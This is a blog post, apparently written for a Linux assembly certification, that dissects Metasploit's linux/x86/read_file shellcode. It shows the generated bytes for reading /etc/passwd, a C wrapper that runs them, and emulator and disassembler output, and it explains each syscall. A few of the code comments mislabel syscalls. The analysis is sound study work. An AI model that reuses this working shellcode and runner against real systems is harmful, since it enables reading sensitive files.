This post analyses innards of linux/x86/read_file shellcode. This shellcode reads from the local file system and writes it back out to the specified file descriptor.
Initial shellcode overview and testing
Inspect payload options and generate shellcode for analysis
$ msfvenom -p linux/x86/read_file --list-options
Options for payload/linux/x86/read_file:
=========================
Name: Linux Read File
Module: payload/linux/x86/read_file
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 62
Rank: Normal
Provided by:
hal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FD 1 yes The file descriptor to write output to
PATH yes The file path to read
Description:
Read up to 4096 bytes from the local file system and write it back
out to the specified file descriptor
linux/x86/read_file payload has two options. We will keep FD set to 1 (STDOUT) and set path to /etc/passwd.
$ msfvenom -p linux/x86/read_file -f c PATH=/etc/passwd
Payload size: 73 bytes
Final size of c file: 331 bytes
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";
At first glance the shellcode has huge amount of NULL-bytes. We could eliminate them by adding -b “\x00” flag to the msfvenom command. However we need to analyze this shellcode and any encoding would just made the analysis harder.
Insert generated shellcode into testing C wrapper
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
// msfvenom -p linux/x86/read_file -f c PATH=/etc/passwd
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*CodeFun)() = (int(*)())code;
CodeFun();
}
Running shellcode prints out content of /etc/passwd on local system to STDOUT
$ ./shellcode
Shellcode Length: 4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
...
Notice the Shellcode Length: 4. NULL bytes in shellcode caused early termination of loop in C strlen() implementation and counted just first 4 bytes.
Shellcode analysis
Running libemu sctest doesn’t bring fruits again and we get executed just first ~6 instructions
$ msfvenom -p linux/x86/read_file -f raw | ./sctest -vvv -Ss 100000
verbose = 3
[emu 0x0x853d078 debug ] cpu state eip=0x00417000
[emu 0x0x853d078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x853d078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x853d078 debug ] Flags:
[emu 0x0x853d078 debug ] cpu state eip=0x00417000
[emu 0x0x853d078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x853d078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x853d078 debug ] Flags:
[emu 0x0x853d078 debug ] EB jmp 0x1
[emu 0x0x853d078 debug ] cpu state eip=0x00417038
[emu 0x0x853d078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x853d078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x853d078 debug ] Flags:
[emu 0x0x853d078 debug ] E8 call 0x1
[emu 0x0x853d078 debug ] cpu state eip=0x00417002
[emu 0x0x853d078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x853d078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x853d078 debug ] Flags:
[emu 0x0x853d078 debug ] B805000000 mov eax,0x5
[emu 0x0x853d078 debug ] cpu state eip=0x00417007
[emu 0x0x853d078 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x853d078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x853d078 debug ] Flags:
[emu 0x0x853d078 debug ] 5B pop ebx
[emu 0x0x853d078 debug ] cpu state eip=0x00417008
[emu 0x0x853d078 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x853d078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x853d078 debug ] Flags:
[emu 0x0x853d078 debug ] 31C9 xor ecx,ecx
[emu 0x0x853d078 debug ] cpu state eip=0x0041700a
[emu 0x0x853d078 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x853d078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x853d078 debug ] Flags: PF ZF
[emu 0x0x853d078 debug ] CD80 int 0x80
stepcount 5
[emu 0x0x853d078 debug ] cpu state eip=0x0041700c
[emu 0x0x853d078 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x853d078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x853d078 debug ] Flags: PF ZF
Let’s disassemble shellcode with ndisasm
$ echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00" | ndisasm -u -
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
00000038 E8C5FFFFFF call dword 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 00 db 0x00
Quick inspection uncovers that there are four system calls in the code. All instructions except that ones after call instruction look valid and uncorrupted. Garbage instructions after call instruction signifies JMP-CALL-POP pattern.
Assembly part 1 – JMP-CALL-POP pattern
00000000 EB36 jmp short 0x38 ; jumps to 00000038
00000002 B805000000 mov eax,0x5
...
...
00000038 E8C5FFFFFF call dword 0x2 ; 0000003D is loaded into esp and execution returned to 00000002
0000003D 2F das ; payload data ("/etc/passwd")
0000003E 657463 gs jz 0xa4 ; payload data ("/etc/passwd")
00000041 2F das ; payload data ("/etc/passwd")
00000042 7061 jo 0xa5 ; payload data ("/etc/passwd")
00000044 7373 jnc 0xb9 ; payload data ("/etc/passwd")
00000046 7764 ja 0xac ; payload data ("/etc/passwd")
00000048 00 db 0x00 ; string NULL terminator
At first glance the shellcode utilizes JMP – CALL – POP pattern to point to payload data. Program execution jumps to 00000038 after first instruction. At 00000038 call instruction pushes 0000003D to the top of the stack and execution jumps to 00000002.
If we inspect payload data bytes and convert them to ASCII we get content of PATH option passed to msfvenom shellcode generator.
2F6574632F706173737764 ==> /etc/passwd0x00
Assembly part 2 – System call 0x5
00000002 B805000000 mov eax,0x5 ; eax=5, open() syscall
00000007 5B pop ebx ; ebx points to 0000003D (jmp-call-pop)
00000008 31C9 xor ecx,ecx ; ecx=0, O_RDONLY flag
0000000A CD80 int 0x80 ; invoke system call 0x5, open()
System call 0x5 (5) is open(). Signature for open() call is
int open(const char *pathname, int flags);
From man pages we get description
Given a pathname for a file, open() returns a file descriptor, a small, nonnegative integer for use in subsequent system
calls (read(2), write(2), lseek(2), fcntl(2), etc.)
Data pointed to by EBX goes to pathname and since pop ebx loads address from previous call instruction the EBX now points to
2F6574632F706173737764 ==> /etc/passwd0x00
string. Flags are passed via ECX register and set to 0 which is O_RDONLY flag. From strace we can check that that this assembly stub executes
open("/etc/passwd", O_RDONLY) = 3
Where 3 would be file descriptor returned to EAX.
Assembly part 3 – System call 0x3
0000000C 89C3 mov ebx,eax ; move file descriptor to ebx
0000000E B803000000 mov eax,0x3 ; eax=3, read() syscall
00000013 89E7 mov edi,esp ; edi=esp, polymorphic pattern?
00000015 89F9 mov ecx,edi ; ecx=edi=esp, ecx points to valid stack, stack used as buffer in read()
00000017 BA00100000 mov edx,0x1000 ; edx=0x1000, read 0x1000(4096) bytes
0000001C CD80 int 0x80 ; invoke system call 0x3, read()
System call 0x3 (3) is read(). Signature for read() call is
ssize_t read(int fd, void *buf, size_t count);
From man pages we get description
read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.
EBX contains file descriptor number which goes to fd argument. ECX points to top of the stack and this address is passed to buf argument. Thus read data will be stored in stack. EDX contains 0x1000 (4096) and is passed to third argument count. Return value contains number of bytes read from given file descriptor and is stored in EAX.
Assembly part 4 – System call 0x4
0000001E 89C2 mov edx,eax ; number of bytes to write
00000020 B804000000 mov eax,0x4 ; eax=3, write() syscall
00000025 BB01000000 mov ebx,0x1 ; write to FD1 which is STDOUT
0000002A CD80 int 0x80 ; invoke system call 0x4, write()
System call 0x4 (4) is write(). Signature for write() call is
ssize_t write(int fd, const void *buf, size_t count);
From man pages we get description
write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd.
EBX is set to 0x1 (1) which is number of STDOUT file descriptor and is passed as fd argument. ECX points to the top of the stack and was set in previous Assembly part 4. Remember that we saved data from /etc/passwd to stack by previous read call so we will print it to STDOUT now. EDX contains count of read bytes from read() call and is used as same argument in write() function.
Assembly part 5 – System call 0x1
0000002C B801000000 mov eax,0x1 ; eax=1, exit() syscall
00000031 BB00000000 mov ebx,0x0 ; set status to 0, no effect
00000036 CD80 int 0x80 ; invoke system call 0x1, exit()
System call 0x1 (1) is exit(). Signature for exit() call is
void _exit(int status);
From man pages we get description
The function _exit() terminates the calling process "immediately". Any open file descriptors belonging to the process are closed.
EBX=0x0 (0) is passed as status parameter but since this shellcode hasn’t got any parent process this argument has no effect on shellcode run-time.
Final assembly analysis overview
00000000 EB36 jmp short 0x38 ; jumps to 00000038
00000002 B805000000 mov eax,0x5 ; eax=5, open() syscall
00000007 5B pop ebx ; ebx points to 0000003D (jmp-call-pop)
00000008 31C9 xor ecx,ecx ; ecx=0, O_RDONLY flag
0000000A CD80 int 0x80 ; invoke system call 0x5, open()
0000000C 89C3 mov ebx,eax ; move file descriptor to ebx
0000000E B803000000 mov eax,0x3 ; eax=3, read() syscall
00000013 89E7 mov edi,esp ; edi=esp, polymorphic pattern?
00000015 89F9 mov ecx,edi ; ecx=edi=esp, ecx points to valid stack, stack used as buffer in read()
00000017 BA00100000 mov edx,0x1000 ; edx=0x1000, read 0x1000(4096) bytes
0000001C CD80 int 0x80 ; invoke system call 0x3, read()
0000001E 89C2 mov edx,eax ; number of bytes to write
00000020 B804000000 mov eax,0x4 ; eax=3, write() syscall
00000025 BB01000000 mov ebx,0x1 ; write to FD1 which is STDOUT
0000002A CD80 int 0x80 ; invoke system call 0x4, write()
0000002C B801000000 mov eax,0x1 ; eax=3, write() syscall
00000031 BB00000000 mov ebx,0x0 ; set status to 0, no effect
00000036 CD80 int 0x80 ; invoke system call 0x1, exit()
00000038 E8C5FFFFFF call dword 0x2 ; 0000003D is loaded into esp and execution returned to 00000002
0000003D 2F das ; payload data ("/etc/passwd")
0000003E 657463 gs jz 0xa4 ; payload data ("/etc/passwd")
00000041 2F das ; payload data ("/etc/passwd")
00000042 7061 jo 0xa5 ; payload data ("/etc/passwd")
00000044 7373 jnc 0xb9 ; payload data ("/etc/passwd")
00000046 7764 ja 0xac ; payload data ("/etc/passwd")
00000048 00 db 0x00 ; string NULL terminator
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: SLAE-1443